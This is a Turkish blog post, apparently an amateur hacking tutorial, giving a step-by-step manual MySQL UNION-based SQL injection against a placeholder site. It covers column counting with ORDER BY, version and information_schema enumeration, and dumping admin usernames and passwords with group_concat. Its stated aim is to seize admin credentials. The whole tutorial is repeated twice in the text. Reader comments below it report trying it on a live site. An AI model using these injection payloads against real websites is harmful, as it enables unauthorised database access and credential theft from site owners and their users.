Sql Açığı Manuel Bulma

Sql İnjection Çoğu Zaman s-c-r-i-p-t Kodlamalarında Yanlış Kodlama Sonucunda Oluşan Güvenlik Açığıdır, Bu Açık Sayesinde Admin Bilgilerini Ele Geçirebiliriz.
Yanlış Kodlama Php ve Asp Sistemlerde ID Değerinde Oluşur.

Başlayalım,
Sql Açığı Manuel Bulma

Sql İnjection Çoğu Zaman s-c-r-i-p-t Kodlamalarında Yanlış Kodlama Sonucunda Oluşan Güvenlik Açığıdır, Bu Açık Sayesinde Admin Bilgilerini Ele Geçirebiliriz.
Yanlış Kodlama Php ve Asp Sistemlerde ID Değerinde Oluşur.

Başlayalım,

Hedef Sitemiz ;

Php-Kodu:
Http://Www.hedefite.Org/Show.php?id=4
MySql Injection Hatası Almak İçin ID Değerinin Önüne Tırnak İşareti [****] Koyuyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4'
Tırnağı koyup enter'a bastıktan sonra,

-Başka bir veri ekrana dökülebilir, örneğin ekrandaki bir resimse, başka bir resim, yazıysa başka bir yazı görüntülenebilir.
-Direk Mysql Injection Hatası Alınabilir, Beyaz Bir Ekran ve Orada Mysql injection Kodlarının Oluşturduğu Bir Hata Görüntüsü Alırsınız.
-Direk Sayfa İçinde Herhangi Bir Kısımda Hata Alabilirsiniz.

Neyse, Hatayı Aldık Varsayalım ve Devam Edelim.

Şimdi Komutlar Başlıyor,

"Order By ..." Komutu İle Sitenin Sisteminde Kaç Kolon Var Onu Öğrenmemiz Gerekiyor.

O da Şu Şekilde Olacak ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 1
Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz, 20, 30'a Kadar Devam Eden Kolon Sayıları Vardır, Yılmayın. (:

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 2
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 3
. . .

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 10
Gibi ~

Hata Kendini Sonunda Belli Eder Zaten, Görürsünüz Evet Bu Hata Dersiniz. Çünkü Artırdığınızda Hep Aynı Şeyler Görülür, Taa ki Hata Alana Kadar.

Onuncu Kolonu Yazdığımızda, Hata Aldığımız Varsayıyorum, Demek ki Kolon Sayımız 9.

Sıra "Union Select ..." Komutuna Geldi, Bu Komutu Öncelikle İşimize Yarayacak Kolon Numaralarını Bulmak İçin Kullanmalıyız.

Union Select Komutunu

Şu Şekilde Kullanacağız ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 union select kaç kolonumuz varsa tek tek virgülle ayırıp yazıyoruz
9 Kolonumuz Olduğunu Varsaydık, O Halde ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Bu şekilde Komutumuzu Gireceğiz,

Küçük Bir İpucu, ID Değerinin Önüne Benim Koyduğum Gibi Tire [-] Koymayı Sakın Unutmayın, Aksi Halde Veri Dökülmeyebilir.

Kolonlarımız Ekrana Vuruldu, Ben 1 ve 3 Vurulsun İstiyorum. Nasılsa Benim Anlatımım

Bu Kolon Sayıları Bizim İşlemi Yapmamızda Ana Etmen. Bütün Verileri Bu Kolonlardan Alacağız Çünkü.

Sırada Version Alma İşlemi Var.

Version Almak İçin Elimizdeki Ekrana Vurulmuş Kolon Sayılarından Herhangi Birini Kullanabiliriz.

Şu Şekilde Yapmalıyız.

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Ben 3 numaralı kolon'u kullanmak İstiyorum , O Halde 3 Yerine "version()" komutunu yazıyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,version(),4,5,6,7,8,9
Enter'a Tıkladığımızda, Ekrana Vurulan 3 Sayısı Version'un kaç Olduğunu Gösterir Bize, Çoğu Zaman Version 5 Olur.

Version'uda Öğrendiğimize Göre Sırada Tablo Adı Alma İşlemleri Var, Ben Yine 3 Numaralı Kolonu Kullanacağım.

Tablo alma işlemini yapmak için;

3 yerine "Table_name" ve sayıların sonuna, "from information_schema.tables" komutunu yazıyoruz.

Şu Şekilde ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables
Çoğu Zaman İlk Kolon Adı CHARACTER_SETS'tir. Diğer Kolon Adları Çoğu Zaman Görünmez, Göstermek İçin Komutların Sonuna "Limit 1,1" Komutu Ekliyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefsite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables limit 1,1
Limit 1,1 komutunu artırarak işimize yarayan tablo adlarını bulabiliriz.

Artırmak için Limit'in önündeki Bir'i (Kırmızı Olarak Belirttiğim) Artırabiliriz.

İşimize Yarayan Tablo İsimleri Neler Olabilir?

Php-Kodu:
Admin, Users, User, Admins, Yonetici, Ayarlar, Config, Yonetim, Login, Logins etc.
Ben Admin Olduğunu Varsayıyorum,

Şimdi Bu Admin'in Kolon Adlarını Bulmak İçin Hex'lememiz Gerekiyor, Hex İşlemini Yapan Siteleri Googleden Bulabilirsiniz

Admin'in Hexlenmiş Hali ;
Php-Kodu:
61646d696e
Şimdi Admin Tablosu Adı Altındaki Kolonları Çekebiliriz.

Kolon Adlarını Çekmek İçin Yine 3. Kolon'umuzu Kullanacağım.

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e
Yani, Table ve Tables Değerlerini Column ve Columns ile Değiştireceğiz ve En Sona Limit 1,1 Komutunu Silere where table_name=0xHex'imizi yazacağız.
Hex'lenmiş Tablo Adının Önüne 0x Koymayı Sakın Unutmayın.

İlk Kolon Adımız Geldi . "ID" Olduğunu Varsayalım, Bu Bizim İşimize Yaramaz, Komutların Sonuna "Limit 1 Offset 1" Komutunu Yazarak ve Offset'i Artırarak İşimize Yarayacak Kolon Adlarını Bulabiliriz.

İşimize Yarayan Kolon Adları Neler Olabilir?

Kullanıcı Adları İçin;
Php-Kodu:
Kadi, User, Username, Usr, Name, Uname, Login etc.
Password İçin;
Php-Kodu:
Password, Passwd, Pass etc.
Ben İşimize Yarayacak Kolon Adlarının "Username ve Password" Olduklarını Varsayıyorum.

Kolon Adlarınıda Bulduğumuza Göre İşimiz Son Olarak Veri Çekmeye Kaldı.

Verimizi Çekmek İçin İşimize Yarayan Kolon Numaralarına, Yani 1 ve 3'e "group_concat(KolonAdı)" komutunu yazacağız.

Şu Şekilde Olacak ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Kolon Adı),2,group_concat(Kolon Adı),4,5,6,7,8,9 from Tablo Adımız
Yani ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Username),2,group_concat(Password),4, 5,6,7,8,9 from Admin
Bu şekilde yaptığımız takdirde tüm admin bilgileri önümüze düşecektir. 
Hedef Sitemiz ;

Php-Kodu:
Http://Www.hedefite.Org/Show.php?id=4
MySql Injection Hatası Almak İçin ID Değerinin Önüne Tırnak İşareti [****] Koyuyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4'
Tırnağı koyup enter'a bastıktan sonra,

-Başka bir veri ekrana dökülebilir, örneğin ekrandaki bir resimse, başka bir resim, yazıysa başka bir yazı görüntülenebilir.
-Direk Mysql Injection Hatası Alınabilir, Beyaz Bir Ekran ve Orada Mysql injection Kodlarının Oluşturduğu Bir Hata Görüntüsü Alırsınız.
-Direk Sayfa İçinde Herhangi Bir Kısımda Hata Alabilirsiniz.

Neyse, Hatayı Aldık Varsayalım ve Devam Edelim.

Şimdi Komutlar Başlıyor,

"Order By ..." Komutu İle Sitenin Sisteminde Kaç Kolon Var Onu Öğrenmemiz Gerekiyor.

O da Şu Şekilde Olacak ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 1
Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz, 20, 30'a Kadar Devam Eden Kolon Sayıları Vardır, Yılmayın. (:

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 2
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 3
. . .

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 10
Gibi ~

Hata Kendini Sonunda Belli Eder Zaten, Görürsünüz Evet Bu Hata Dersiniz. Çünkü Artırdığınızda Hep Aynı Şeyler Görülür, Taa ki Hata Alana Kadar.

Onuncu Kolonu Yazdığımızda, Hata Aldığımız Varsayıyorum, Demek ki Kolon Sayımız 9.

Sıra "Union Select ..." Komutuna Geldi, Bu Komutu Öncelikle İşimize Yarayacak Kolon Numaralarını Bulmak İçin Kullanmalıyız.

Union Select Komutunu

Şu Şekilde Kullanacağız ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 union select kaç kolonumuz varsa tek tek virgülle ayırıp yazıyoruz
9 Kolonumuz Olduğunu Varsaydık, O Halde ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Bu şekilde Komutumuzu Gireceğiz,

Küçük Bir İpucu, ID Değerinin Önüne Benim Koyduğum Gibi Tire [-] Koymayı Sakın Unutmayın, Aksi Halde Veri Dökülmeyebilir.

Kolonlarımız Ekrana Vuruldu, Ben 1 ve 3 Vurulsun İstiyorum. Nasılsa Benim Anlatımım

Bu Kolon Sayıları Bizim İşlemi Yapmamızda Ana Etmen. Bütün Verileri Bu Kolonlardan Alacağız Çünkü.

Sırada Version Alma İşlemi Var.

Version Almak İçin Elimizdeki Ekrana Vurulmuş Kolon Sayılarından Herhangi Birini Kullanabiliriz.

Şu Şekilde Yapmalıyız.

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Ben 3 numaralı kolon'u kullanmak İstiyorum , O Halde 3 Yerine "version()" komutunu yazıyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,version(),4,5,6,7,8,9
Enter'a Tıkladığımızda, Ekrana Vurulan 3 Sayısı Version'un kaç Olduğunu Gösterir Bize, Çoğu Zaman Version 5 Olur.

Version'uda Öğrendiğimize Göre Sırada Tablo Adı Alma İşlemleri Var, Ben Yine 3 Numaralı Kolonu Kullanacağım.

Tablo alma işlemini yapmak için;

3 yerine "Table_name" ve sayıların sonuna, "from information_schema.tables" komutunu yazıyoruz.

Şu Şekilde ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables
Çoğu Zaman İlk Kolon Adı CHARACTER_SETS'tir. Diğer Kolon Adları Çoğu Zaman Görünmez, Göstermek İçin Komutların Sonuna "Limit 1,1" Komutu Ekliyoruz.

Şu Şekilde;

Php-Kodu:
Http://Www.hedefsite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables limit 1,1
Limit 1,1 komutunu artırarak işimize yarayan tablo adlarını bulabiliriz.

Artırmak için Limit'in önündeki Bir'i (Kırmızı Olarak Belirttiğim) Artırabiliriz.

İşimize Yarayan Tablo İsimleri Neler Olabilir?

Php-Kodu:
Admin, Users, User, Admins, Yonetici, Ayarlar, Config, Yonetim, Login, Logins etc.
Ben Admin Olduğunu Varsayıyorum,

Şimdi Bu Admin'in Kolon Adlarını Bulmak İçin Hex'lememiz Gerekiyor, Hex İşlemini Yapan Siteleri Googleden Bulabilirsiniz

Admin'in Hexlenmiş Hali ;
Php-Kodu:
61646d696e
Şimdi Admin Tablosu Adı Altındaki Kolonları Çekebiliriz.

Kolon Adlarını Çekmek İçin Yine 3. Kolon'umuzu Kullanacağım.

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e
Yani, Table ve Tables Değerlerini Column ve Columns ile Değiştireceğiz ve En Sona Limit 1,1 Komutunu Silere where table_name=0xHex'imizi yazacağız.
Hex'lenmiş Tablo Adının Önüne 0x Koymayı Sakın Unutmayın.

İlk Kolon Adımız Geldi . "ID" Olduğunu Varsayalım, Bu Bizim İşimize Yaramaz, Komutların Sonuna "Limit 1 Offset 1" Komutunu Yazarak ve Offset'i Artırarak İşimize Yarayacak Kolon Adlarını Bulabiliriz.

İşimize Yarayan Kolon Adları Neler Olabilir?

Kullanıcı Adları İçin;
Php-Kodu:
Kadi, User, Username, Usr, Name, Uname, Login etc.
Password İçin;
Php-Kodu:
Password, Passwd, Pass etc.
Ben İşimize Yarayacak Kolon Adlarının "Username ve Password" Olduklarını Varsayıyorum.

Kolon Adlarınıda Bulduğumuza Göre İşimiz Son Olarak Veri Çekmeye Kaldı.

Verimizi Çekmek İçin İşimize Yarayan Kolon Numaralarına, Yani 1 ve 3'e "group_concat(KolonAdı)" komutunu yazacağız.

Şu Şekilde Olacak ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Kolon Adı),2,group_concat(Kolon Adı),4,5,6,7,8,9 from Tablo Adımız
Yani ;

Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Username),2,group_concat(Password),4, 5,6,7,8,9 from Admin
Bu şekilde yaptığımız takdirde tüm admin bilgileri önümüze düşecektir.

7 yorum:

  1. Şimdi iyi guzelde bende bir problem var sanırsam sıte mesela www.asdfgfdf.com/content.php?id=26 ben bunum sonua ' eklıyorum sonra bu www.asdfgfdf.com/content.php?id=26%27 oluyor hata olarakta bunu alıyorum(You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1) oldugunu dusunuyorum ve www.asdfgfdf.com/content.php?id=26 order by 1 diyorum ve sonrasındacontent.php?id=26%20order%20by%201 oluyor normalmidir yardımcı olun pls

    YanıtlaSil
    Yanıtlar
    1. ben birazdaha uğraş sonucu o kısmı geçtim ama union select kısmında takıldım kaldım bende order by 16 de hata verdi bende 15 dıe 1,2,3.....,14,15 yaptım sonrasında hepsine teker teker union selecti denedim ama hıcbırınden dogru yanıt alamadım

      bu order by 16 yazdıgımda aldıgım hata :Unknown column '16' in 'order clause'

      bundan sonra beşladım union select 1,2,3,.....14,15 yazdım aldıgım hatada şu :Forbidden

      You don't have permission to access /content.php on this server.

      Apache/2.2.15 (CentOS) Server at www.digitaldickens.com Port 80

      bundan sonra version() ifadesini hepsine denedim ama olmadı hec degişmedi hata bende bıraktım oyle halarım nelerdir söylemısını lütfen

      Sil
    2. hata sende değil bu yazıyı yalan yanlış yazan dankalakta, keklenmeyin zamanınızı boşa harcamayın. Daha akıllıca işler yapın, mesela json öğrenin, vue öğrenin.

      Sil
  2. hocam beni hedef sitemin sonunda id değeri yok direk site adı ve ondan sonra slaş var?

    YanıtlaSil
  3. Bu yorum yazar tarafından silindi.

    YanıtlaSil

 
Top